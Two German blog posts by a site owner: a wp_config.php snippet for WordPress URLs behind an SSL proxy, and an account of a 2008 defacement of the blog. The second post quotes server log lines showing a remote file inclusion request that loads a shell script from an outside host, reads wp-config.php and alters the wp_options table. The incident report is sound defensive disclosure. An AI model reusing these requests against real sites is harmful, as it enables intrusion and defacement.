WordPress Site URL bei Anfragen über einen SSL-Proxy umschreiben

So, nun habe ich es doch hinbekommen, dass WordPress die Blog-URL bei SSL-Anfragen richtig erkennt. Eigentlich ist es ziemlich einfach. Auch bei neueren WordPress-Versionen kann in der “wp_config.php”  die SiteURL und die Homepage angegeben werden. Wird eine HTTPS-Anfrage über einen Proxy gestellt, schreibt dieser normalerweise seinen Hostnamen in die Header-Zeile “HTTP_X_FORWARDED_HOST”. Diese findet man im Array $_SERVER unter dem Schlüssel “HTTP_X_FORWARDED_HOST”. Ist dieser Wert gleich dem SSL-Proxy des Providers, definiert man die Site-URL über den SSL-Proxy. Andernfalls wird hier die normale Blog-URL definiert.

Hier der Code-Schnipsel aus meiner wp_config.php (ssl-account.com ist die Adresse des SSL-Proxys)

if($_SERVER['HTTP_X_FORWARDED_HOST']=="ssl-account.com")
{
// mit SSL-Proxy
define('WP_SITEURL', 'https://ssl-account.com/anb-networkz.de');
define('WP_HOME', 'https://ssl-account.com/anb-networkz.de');
}
else
{
// Ohne SSL-Proxy
define('WP_SITEURL', 'http://anb-networkz.de');
define('WP_HOME', 'http://anb-networkz.de');
}

anb-networkz defaced

Screenshot vom Ergebniss der SQL-InjectionAm 30.05.2008 hat es mein kleines Blog erwischt. Eine Person der XTech Group hat doch tatsächlich per SQL-Injection einige Einträge in der WordPress-Datenbank geändert. Zum Glück habe ich ja Backup’s. Das habe ich gleich als Anlass für ein Upgrade auf die aktuelle WPD Version genutzt. Nunja, eigentlich konnte wordpress nichts für den deface. Die Pseudo-hacker nutzten ein Script eines früheren CMS, um die wpp-config.php auszulesen. Anschließend wurden mit einigen SQL-Query’s diverse Datensätze in der MySQL Datenbank geändert. Unter anderem auch der Blog-title und die Blod-Description. Was soll’s. auch ganz lustig anzuschauen waren die Request-Header in den Logfiles des Webservers. Dort ließ sich der deface quasi Nachstellen. Hier einige Einträge:

GET http://anb-networkz.net/html/modules/contact/main.php?this_module_path
=http%3A%2F%2Fwww.mitsubishimania.de%2Fjs%2F1337c99.txt%3F%3F&act=f&
f=wp-config.php&d=%2Fwww%2Fhtdocs%2Fv100329&"
POST /html/modules/contact/main.php?this_module_path=
http%3A%2F%2Fwww.mitsubishimania.de%2Fjs%2F1337c99.txt%3F%3F&
act=sql&sql_login=*******&sql_passwd=**********&
sql_server=localhost&sql_port=3306&sql_db=***&
sql_tbl_act=insert&sql_tbl=wp_options&sql_tbl_ls=0&
sql_tbl_le=30&sql_tbl_insert_q=+%60option_id%60+%3D+
%272%27+AND+%60blog_id%60+%3D+%270%27+AND+%60option_name%
60+%3D+%27blogname%27+AND+%60option_value%60+%3D+
%27..%3A%3AANB-Networkz%3A%3A..%27+AND+%60autoload%60+
%3D+%27yes%27+

Der Aufrufe wurden von 203.162.2.133 ausgelöst, und nutzten Scripte einer (warscheinlich gehackten) website. Da sich dort ein Forum befindet, werde ich das gleich mal dort Posten.

Ich habe nun nur noch WordPress auf diesem Webspace, alle Kennwörter wurden geändert und eine obligatorische Anzeige gegen unbekannt eingereicht. Mal sehen was passiert :-)